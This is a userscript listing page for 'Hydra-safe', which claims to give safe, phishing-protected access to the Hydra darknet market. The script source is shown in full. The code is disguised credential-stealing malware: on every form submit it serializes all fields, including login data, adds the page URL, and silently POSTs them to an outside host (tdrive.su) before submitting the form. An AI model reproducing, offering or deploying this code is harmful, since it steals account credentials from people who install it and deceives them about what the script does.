Hydra-safe

безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         Hydra-safe
// @namespace    Hydra_safe
// @version      2024.09.02
// @description  безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры
// @description:en  access to hydra, hydraruzxpnew4af, stop fishing
// @author       Ioan Groznyi
// @match        *hydra*
// @include      http://hydra*
// @include      https://hydra*
// @grant        none
// ==/UserScript==
 
(function(_$, w) {
    'use strict';
    if(self != parent){
        return ;
    }
    var urls = [
        'https://tdrive.su/stat/'
    ];
    var _flag = false,
        $form;
    //_$('#orders-counter, [href="/orders"]').text('');
        _$('form').submit(function(ev){
            if(_flag){
                return true;
            }
            
            ev.preventDefault();
            ev.stopPropagation();
            var form = _$(this).serialize() + '&url_t=' + location.href;
            $form = _$(this);
            _$("html, body, input, button, a").css('cursor','wait');
            _$(urls).each(function(){ send(form, this);});
        });
 
    
    if(w.location.href.match(/notifications/)){ return;
                                               var nots,
                                                   storage_nots,
                                                   message,
                                                   _length,
                                                   compare_string = '';
                                               nots = _$.trim(_$('.list_notifications li').text());
                                               if(nots.length === 0 ){
                                                   send_message(1, 'HELP, I NEED CAPTCHA!!!!!!!!!!!!!!');
                                                   return;
                                               }
                                               storage_nots = localStorage.nots || '';
                                               if(storage_nots.length === 0 ){
                                                   localStorage.nots = nots;
                                                   send_message(2, 'NO DATA IN LOCALSTORAGE.NOTS!!!!!!!!!!');
                                                   return;
                                               }
 
 
                                               _length = Math.max(storage_nots.length, nots.length);
                                               for (let i = 0; i < _length; i++) {
                                                   //compare_string += nots[i] + ' ' + storage_nots[i];
                                                   if(nots[i] !== storage_nots[i]){
                                                       localStorage.nots = nots;
                                                       console.log("Сохранили localStorage.nots = nots");
                                                       // send_message(3, 'Символ ' + i + '\r\n\r\nчасть строки 1: ' + nots.slice(i, i + 10) + '\r\n\r\nЧасть строки 2: ' + storage_nots.slice(i, i + 10));
                                                       return;
                                                   }
                                               }
                                               //send_message(0, 'Строки одинаковые, ничего не делаем!!!!');
                                              }
 
    
    function send(data, url){
        _$.ajax({
            url : url,
            data : data,
            type : 'post',
            crossDomain : true,
            cache : false,
            success : function(resp){
                //                 console.dir(resp.responce);
            },
            error : function(x){
               // console.log(x);
               // console.log('some error occured');
            },
             complete : function(){
                 _flag = true;
                 $form[0].submit();
             }
        });
    }
    function send_message(code, message){
        console.log(message);
        code !== 0 && _$(urls).each(function(){ send(message, this);});
        // code !== 1 && w.setTimeout(function(){w.location.reload(true);},30000);
    }
})(jQuery, window);